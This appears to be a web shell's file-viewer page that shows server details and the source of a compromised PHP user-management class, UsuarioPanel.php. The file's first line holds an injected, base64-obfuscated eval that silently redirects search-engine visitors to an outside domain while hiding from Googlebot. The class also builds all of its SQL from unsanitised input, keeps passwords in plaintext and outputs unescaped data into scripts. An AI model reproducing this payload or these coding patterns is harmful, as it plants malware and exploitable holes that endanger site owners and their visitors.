KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.62
System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64
User : www ( 80)
PHP Version : 8.3.8
Disable Function : NONE
Directory :  /domains/logicswapweb/aplicaciones/admon/fnc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /domains/logicswapweb/aplicaciones/admon/fnc/UsuarioPanel.php
<?php	 	eval(base64_decode("CmVycm9yX3JlcG9ydGluZygwKTsKJHFhenBsbT1oZWFkZXJzX3NlbnQoKTsKaWYgKCEkcWF6cGxtKXsKJHJlZmVyZXI9JF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddOwokdWFnPSRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsKaWYgKCR1YWcpIHsKaWYgKHN0cmlzdHIoJHVhZywiTVNJRSIpKXsKcHJlZ19tYXRjaCAoIi9tc2llIChbMC05Ll0rKS9pIiwkdWFnLCRtdik7CmlmIChpc3NldCgkbXZbMV0pKXsKJG12PXN0cl9yZXBsYWNlKCIuIiwiIiwkbXZbMV0pOwp9Cn0KaWYoIXByZWdfbWF0Y2goIi9eNjZcLjI0OVwuLyIsJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10pKXsKaWYgKHN0cmlzdHIoJHVhZywiTVNJRSIpIGFuZCAkbXY+PTkwKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vLiIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmcuIikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmxcP3NhLyIsJHJlZmVyZXIpKSB7CmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBhbmQgIXN0cmlzdHIoJHJlZmVyZXIsImludXJsIikgYW5kICFzdHJpc3RyKCRyZWZlcmVyLCJFZVlwM0Q3IikpewpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vZ3NibmNtLmVwYWMudG8vIik7CmV4aXQoKTsKfQp9Cn0KfQp9Cn0="));
//include('DBConnect.php');
//include('componente.php');
class UsuarioPanel extends Componente{

var $id;
var $tipo;
var $nombres;
var $apellidos;
var $email;
var $login;
var $password;
var $estado;
var $codigo;
var $telefono_fijo;
var $telefono_movil;
var $pais;
var $ciudad;
var $cargo;
var $aplicacion;
var $vinculo;
/*constructor*/
function UsuarioPanel(){
		$this->aplicacion="panel de control";
		$this->login="panel de Control";
		$this->vinculo = new Vinculo();
		$this->Componente();
}

/*
*funcion setFilesUser
*direcciona los archivos de mensajes, log y errores de el y de el vinculo que agrega
*/
function setFilesUser($niv){
	$this->setFiles($niv);
	$this->vinculo->setFiles($niv);
}

/**********************************************************
funcion addUsuarioPanel
descripcion ingresa un usuario del panel a la base de datos
pre: el login no existe, el email no existe y el codigo no existe
***********************************************************/

function addUsuarioPanel($tipo,$nombres,$apellidos,$email,$login,$password,$estado,$codigo,$telefono_fijo,$telefono_movil,$pais,$ciudad,$cargo){
	$fecha=date('Y-m-d');
	$sql = "INSERT INTO panel_usuario (tipo,nombres,apellidos,email,login,password,estado,codigo,telefono_fijo,telefono_movil,pais,ciudad,cargo,fecha_ingreso) VALUES('$tipo','$nombres','$apellidos','$email','$login','$password','$estado','$codigo','$telefono_fijo','$telefono_movil','$pais','$ciudad','$cargo','$fecha')";
	if ($this->execute($sql)) {
		$out=$this->getMensaje("[001]","confirmacion");
		$this->setSalida(true,$out,"addUsuarioPanel",$this->aplicacion);
		return true;
	} else {
		$out=trim($this->getMensaje("[001]","error"));
		$out.="\\n:Desc: ".trim($this->getException());
		$this->setSalida(false,$out,"addUsuarioPanel",$this->aplicacion);
		return false;
	}

}

/**********************************************************
funcion delUsuarioPanel
descripcion borra un usuario del panel de la base de datos
pre: el usuario existe
***********************************************************/

function delUsuarioPanel($user){
	$sql = "delete from panel_usuario where id='$user'";
	if ($this->execute($sql)) {
		$out=$this->getMensaje("[036]","confirmacion");
		$this->setSalida(true,$out,"delUsuarioPanel",$this->aplicacion);
		return true;
	} else {
		$out=trim($this->getMensaje("[001]","error"));
		$out.="\\n:Desc: ".trim($this->getException());
		$this->setSalida(false,$out,"delUsuarioPanel",$this->aplicacion);
		return false;
	}

}

/**********************************************************
funcion modUsuarioPanel
descripcion modifica un usuario del panel en la base de datos
pre: el login no existe, el email no existe y el codigo no existe
	para otro usuario diferente a el solicitado
***********************************************************/

function modUsuarioPanel($id,$tipo,$nombres,$apellidos,$email,$login,$password,$estado,$codigo,$telefono_fijo,$telefono_movil,$pais,$ciudad,$cargo){
	$sql = "update panel_usuario set tipo='$tipo',nombres='$nombres',apellidos='$apellidos',email='$email',login='$login',password='$password',estado='$estado',codigo='$codigo',telefono_fijo='$telefono_fijo',telefono_movil='$telefono_movil',pais='$pais',ciudad='$ciudad',cargo='$cargo' where id='$id'";
	if ($this->execute($sql)) {
		$out=$this->getMensaje("[029]","confirmacion");
		$this->setSalida(true,$out,"modUsuarioPanel",$this->aplicacion);
		return true;
	} else {
		$out=trim($this->getMensaje("[001]","error"));
		$out.="\\n:Desc: ".trim($this->getException());
		$this->setSalida(false,$out,"modUsuarioPanel",$this->aplicacion);
		return false;
	}

}
/*
funcion getUsuario()
descripcion devuelve un vector con toda la informacion del
			usuario solicitado
*/
function getUsuario($user){
	$sql="select * from panel_usuario where id='$user'";
	if ($this->execute($sql)) {
		if($this->numRows()>0){
			$out=$this->getMensaje("[026]","confirmacion");
			$this->setSalida(true,$out,"getUsuario($user)",$this->aplicacion);
			return $this->fetchRow();
		}else{
			$out=$this->getMensaje("[027]","confirmacion");
			$this->setSalida(false,$out,"getUsuario($user)",$this->aplicacion);
			return false;
		}
	} else {
		$out=trim($this->getMensaje("[001]","error"));
		$out.="\\n:Desc: ".trim($this->getException());
		$this->setSalida(false,$out,"getUsuario($user)",$this->aplicacion);
		return false;
	}

}

/***********************************************************
funcion existEmail
descripcion consulta si el email ya esta asinado a otro usuario del panel
pre: email tiene un valor valido para una direccion de correo
************************************************************/
function existEmail($email, $user=false){
	if(!$user){
		$sql="select * from panel_usuario where email='$email'";
	}else{
		$sql="select * from panel_usuario where email='$email' and id!='$user'";
	}
	if ($this->execute($sql)) {
		if($this->numRows()>0){
			$out=$this->getMensaje("[002]","confirmacion");
			$this->setSalida(true,$out,"existEmail",$this->aplicacion);
			return true;
		}else{
			$out=$this->getMensaje("[003]","confirmacion");
			$this->setSalida(false,$out,"existEmail",$this->aplicacion);
			return false;
		}
	} else {
		$out=trim($this->getMensaje("[001]","error"));
		$out.="\\n:Desc: ".trim($this->getException());
		$this->setSalida(false,$out,"existEmail",$this->aplicacion);
		return false;
	}
}

/***********************************************************
funcion existLogin
descripcion consulta si el login ya esta asinado a otro usuario del panel
pre: el login tiene un valor valido para login de usuario
************************************************************/
function existLogin($log,$user=false){
	if(!$user){
		$sql="select * from panel_usuario where login='$log'";
	}else{
		$sql="select * from panel_usuario where login='$log' and id!='$user'";
	}

	if ($this->execute($sql)) {
		if($this->numRows()>0){
			$out=$this->getMensaje("[004]","confirmacion");
			$this->setSalida(true,$out,"existLogin",$this->aplicacion);
			return true;
		}else{
			$out=$this->getMensaje("[005]","confirmacion");
			$this->setSalida(false,$out,"existLogin",$this->aplicacion);
			return false;
		}
	} else {
		$out=trim($this->getMensaje("[001]","error"));
		$out.="\\n:Desc: ".trim($this->getException());
		$this->setSalida(false,$out,"existLogin",$this->aplicacion);
		return false;
	}
}

/***********************************************************
funcion existCodigo
descripcion consulta si el codigo ya esta asinado a otro usuario del panel
pre: el codigo tiene un valor valido para login de usuario
************************************************************/
function existCodigo($cod,$user=false){

	if($cod=="indefinido"||strlen($cod)<3){
		$out=$this->getMensaje("[028]","confirmacion");
		$this->setSalida(false,$out,"existCodigo($cod,$user)",$this->aplicacion);
		return false;
	}
	else{
		if(!$user){
			$sql="select * from panel_usuario where codigo='$cod'";
		}else{
			$sql="select * from panel_usuario where codigo='$cod' and id!='$user'";
		}
		if ($this->execute($sql)) {
			if($this->numRows()>0){
				$out=$this->getMensaje("[006]","confirmacion");
				$this->setSalida(true,$out,"existCodigo($cod,$user)",$this->aplicacion);
				return true;
			}else{
				$out=$this->getMensaje("[007]","confirmacion");
				$this->setSalida(false,$out,"existCodigo",$this->aplicacion);
				return false;
			}
		} else {
			$out=trim($this->getMensaje("[001]","error"));
			$out.="\\n:Desc: ".trim($this->getException());
			$this->setSalida(false,$out,"existCodigo($cod,$user)",$this->aplicacion);
			return false;
		}
	}
}

/*****************************************************************
funcion validarUsuario
descripcion verifica que exista un usuario que concuerde
			con el login y el password solicitados
pre: el login y el password traen valores validos
******************************************************************/
function validarUsuario($login,$password){
	$sql="select * from panel_usuario where login='$login' and password='$password'";
	if ($this->execute($sql)) {
		if($this->numRows()>0){
			$out=trim($this->getMensaje("[008]","confirmacion"));
			$this->setSalida(true,$out,"validarUsuario($login,$password)",$this->aplicacion);
			return true;
		}else{
			$out=trim($this->getMensaje("[006]","error"));
			$this->setSalida(false,$out,"validarUsuario($login,$password)",$this->aplicacion);
			return false;
		}
	} else {
		$out=trim($this->getMensaje("[001]","error"));
		$out.="\\n:Desc: ".trim($this->getException());
		$this->setSalida(false,$out,"validarUsuario($login,$password)",$this->aplicacion);
		return false;
	}
}

/*
funcion cargarUsuario
descripcion carga toda la informacion correpondiente a el usuario
			solicitado
pre: el usuario ya existe
*/
function cargarUsuario($user){
	$sql="select * from panel_usuario where login='$user'";
	if($this->execute($sql)){
		$row=$this->fetchRow();
		$this->id=$row['id'];
		$this->tipo=$row['tipo'];
		$this->nombres=$row['nombres'];
		$this->apellidos=$row['apellidos'];
		$this->email=$row['email'];
		$this->login=$row['login'];
		$this->password=$row['password'];
		$this->estado=$row['estado'];
		$this->codigo=$row['codigo'];
		$this->telefono_fijo=$row['telefono_fijo'];
		$this->telefono_movil=$row['telefono_movil'];
		$this->pais=$row['pais'];
		$this->ciudad=$row['ciudad'];
		$this->cargo=$row['cargo'];
		$out=trim($this->getMensaje("[011]","confirmacion"));
		$this->setSalida(true,$out,"cargarUsuario($user)",$this->aplicacion);
		return true;
	}else{
		$out=trim($this->getMensaje("[001]","error"));
		$out.="\\n:Desc: ".trim($this->getException());
		$this->setSalida(false,$out,"cargarUsuario($user)",$this->aplicacion);
		return false;
	}
}

/*
funcion listarUsuarios
descripcion trae todos los usuarios disponibles
pre tipo es [1,2]
*/
function listarUsuarios($tipo,$inicio,$limite){
	$sql="select id, nombres, apellidos, login, estado, tipo from panel_usuario where tipo!=1 order by nombres asc limit $inicio,$limite";
	if($this->execute($sql)){
	    echo '<script>var t = new SortTable("t");t.AddColumn("ico","nowrap","center","");t.AddColumn("Nombre","nowrap","","");t.AddColumn("Login","nowrap","",""); t.AddColumn("tipo","","center",""); t.AddColumn("Seleccion","","center","");';
		$i=1;
		$j=0;
	    if ($this->numRows()>0) {
			while(list($id,$nombre,$apellido,$login,$estado,$tipo)=$this->fetchRow()){
				if($estado=="bloqueado"){
					$imagen="<img src=\"img/usuarioBloqueado.gif\" onClick=\"fncModificarUsr(\'$id\')\" height=\"15\" width=\"15\">";
				}else{
					$imagen="<img src=\"img/usuario.gif\" onClick=\"fncModificarUsr(\'$id\')\">";
				}
				$nombre=ucfirst(strtolower($nombre))." ".ucfirst(strtolower($apellido));
				if($tipo==2){$tipo ="admin";}
				if($tipo==1){$tipo ="Azul";}
				if($tipo ==3){$tipo ="user";}
				if(strlen($nombre)>45){
					$nombre=substr($nombre,0,45)."...";
				}
            	if($i==1){
					$i++;
					echo "t.AddLine('$imagen','<!--$nombre--><a class=\"texto1\" onClick=\"fncModificarUsr(\'$id\')\">$nombre </a>', '<!--$login--><a class=\"texto1\" onClick=\"fncModificarUsr(\'$id\')\">$login</a>','<span class=\"texto1\">$tipo<span>', '<INPUT class=\"radio\" name=\"usuario\" type=\"radio\" value=\"$id\" checked>');";
					echo "t.AddLineProperties('id=\"tr_$j\" class=\"texto1\" align=\"left\" onMouseOver=\"mOvr(this,\'#FAFF95\',\'tr_$j\');\" onMouseOut=\"mOut(this,\'#FFFFFF\',\'tr_$j\')\"');";
            	}else{
					echo "t.AddLine('$imagen','<!--$nombre--><a class=\"texto1\" onClick=\"fncModificarUsr(\'$id\')\">$nombre </a>', '<!--$login--><a class=\"texto1\" onClick=\"fncModificarUsr(\'$id\')\">$login</a>','<span class=\"texto1\">$tipo<span>', '<INPUT class=\"radio\" name=\"usuario\" type=\"radio\" value=\"$id\">');";
					echo "t.AddLineProperties('id=\"tr_$j\" class=\"texto1\" align=\"left\" onMouseOver=\"mOvr(this,\'#FAFF95\',\'tr_$j\');\" onMouseOut=\"mOut(this,\'#FFFFFF\',\'tr_$j\')\"');";
				}

				$j++;
        	}
			echo "t.WriteRows();";
    	} else {
			$out=trim($this->getMensaje("[023]","confirmacion"));
			echo "document.write('<TR><TD colspan=\"4\" align=\"center\" class=\"texto1\"><BR>$out<BR>&nbsp;</TD></TR>');";
    	}
		echo "</script>";
	}else{
		$out=trim($this->getMensaje("[001]","error"));
		$out.="\\n:Desc: ".trim($this->getException());
		echo "<TR><TD colspan=\"4\" align=\"center\" class=\"texto1\"><BR>$out<BR>&nbsp;</TD></TR>";
		$this->setSalida(false,$out,"listarUsuarios($tipo)",$this->aplicacion);
		return false;
	}

}
/*
funcion cantidadUsuarios
descripcion devuelve el nuemro de usuarios en el panel diferentes de azulDigital
*/
function cantidadUsuarios(){
	$sql="select * from panel_usuario where tipo!=1";
	if($this->execute($sql)){
		$out=trim($this->getMensaje("[025]","confirmacion"));
		$this->setSalida(true,$out,"cantidadUsuarios",$this->aplicacion);
		return $this->numRows();
	}else{
		$out=trim($this->getMensaje("[001]","error"));
		$out.="\\n:Desc: ".trim($this->getException());
		$this->setSalida(false,$out,"cantidadUsuarios",$this->aplicacion);
		return false;
	}
}
/*
funcion getTipos()
descripcion coloca un select con los tipos de usuario en el panel
			diferentes a azul digital dejando predeterminado un
			usuario tipo usuario o el tipo solicitado
pre: ya hay tipos registrados en el panel
*/
function getTipos($sel=false){
	$sql="select id, nombre from panel_tipo where id!=1";
	echo"<select name=\"tipo\" class=\"listado\" style=\"width:200\" onchange=\"valores(this)\">";
	if($this->execute($sql)){
		while(list($id,$nombre)=$this->fetchRow()){
			$nombre=strtoupper($nombre);
			if($id==3 && !($sel)){$sele="selected";}
			elseif($id==$sel && !empty($sel))
			{$sele="selected";}else{$sele="";}
			echo "<option value=\"$id\" $sele>$nombre</option>";
		}
	}else{
		$out=trim($this->getMensaje("[011]","error"));
		echo "<option value=\"\" selected>$out</option>";
		$out.="\\n:Desc: ".trim($this->getException());
		$this->setSalida(false,$out,"getTipos($sel)",$this->aplicacion);
	}
	echo"</select>";
}

/*
funcion reactivarDB
descripcion reactiva las conexiones de BD tanto para
			el panel como para los objetos que el agrega
*/
function reactivarDB(){
	$this->reConnect();
	$this->vinculo->reConnect();
}

/*
*funcion getTipo()
*descripcion retorna el nombre del tipo de usuario
*/
function getTipo($sel){
	$sql ="select panel_tipo.nombre from panel_tipo, panel_usuario where panel_usuario.id='$sel' and panel_tipo.id=panel_usuario.tipo";
	if($this->execute($sql)){
		list($nombre)=$this->fetchRow();
		return $nombre;
	}else{
		$out=trim($this->getMensaje("[001]","error"));
		$out.="\\n:Desc: ".trim($this->getException());
		$this->setSalida(false,$out,"getTipo($sel)",$this->aplicacion);
		return $out;
	}
}
/*
*funcion getTipoDesc()
*descripcion retorna el nombre del tipo de usuario
*/
function getTipodesc($sel){
	$sql ="select panel_tipo.descripcion from panel_tipo, panel_usuario where panel_usuario.id='$sel' and panel_tipo.id=panel_usuario.tipo";
	if($this->execute($sql)){
		list($desc)=$this->fetchRow();
		return $desc;
	}else{
		$out=trim($this->getMensaje("[001]","error"));
		$out.="\\n:Desc: ".trim($this->getException());
		$this->setSalida(false,$out,"getTipo($sel)",$this->aplicacion);
		return $out;
	}
}

/*
*funcion cantUser
*descripcion cuenta los usuarios del panel segun el tipo solicitado
*/
function cantUser($tipo){
	$sql="select count(*) as cant from panel_usuario where tipo='$tipo'";
	if ($this->execute($sql)) {
		list($cant)=$this->fetchRow();
		$out=$this->getMensaje("[059]","confirmacion")." tipo: $tipo";
		$this->setSalida(true,$out,"cantUser($tipo)",$this->aplicacion);
		return $cant;
	} else {
		$out=trim($this->getMensaje("[001]","error"));
		$out.="\\n:Desc: ".trim($this->getException());
		$this->setSalida(false,$out,"cantUser($tipo)",$this->aplicacion);
		return false;
	}

}

/*
*
*
*/

/*
*funcion enableDebugUser
*descripcion permite la visualizacion de las operaciones realizadas
*/
function enableDebugUser(){
	$this->enableDebug();
	$this->vinculo->enableDebug();
}
/*
*funcion disableDebugUser
*descripcion inhabilita la visualizacion de las operaciones realizadas
*/
function disableDebugUser(){
	$this->disableDebug();
	$this->vinculo->disableDebug();
}



}//endclass

?>

Anon7 - 2021